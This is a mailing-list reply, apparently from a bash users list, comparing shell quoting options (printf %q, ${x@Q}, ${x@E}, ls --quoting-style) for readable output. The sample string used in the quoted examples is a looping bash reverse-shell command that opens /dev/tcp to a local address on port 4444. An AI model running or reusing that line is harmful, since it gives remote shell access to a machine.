Re: `printf %q` but more human readable

[Alex fxmbsw7 Ratchev]

if your datas were filenames, you could have used ls
--quoting-style=shell-escape
it optionally only quotes em

On Sun, Mar 14, 2021 at 2:54 PM Peng Yu <pengyu.ut@gmail.com> wrote:

> > It's just different quoting styles, but I prefer the single-quoted
> > version too.
>
> It is not as simple as that. See below.
>
> > GNU /usr/bin/printf does this
> >
> > $ /bin/printf "$x"
> > while true; do echo 'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1' | bash;
> > sleep 5; done &
> >
> > And for ${parameter@operator}
> >
> > $ echo "${x@Q}"
> > $'while true; do echo \'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1\' |
> > bash;\nsleep 5; done &'
>
> ${x@Q} is not the most human-readable. For example, the extra quote is
> not necessary in the following case. `printf %q` is even better in
> this case. I think a most human-readable solution for all cases can
> not avoiding testing the content of the string.
>
> $ x=a; echo "${x@Q}"
> 'a'
> $ printf %q a
> a
>
> > $ echo "${x@E}"
> > while true; do echo 'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1' | bash;
> > sleep 5; done &
>
> ${x@Q} is not good either. It can not deal with non-print characters
> correctly.
>
> $ x=$'a\001'; echo "${x@E}"
> a
>
> >
> > (This confuses me since the manual stated that E produces $'' style
> > escaping and Q produces single quoted escaping when used for an array...)
>
> The above examples should clarify your confusion. My question is about
> ALL cases not just about some special cases.
>
> --
> Regards,
> Peng
>
>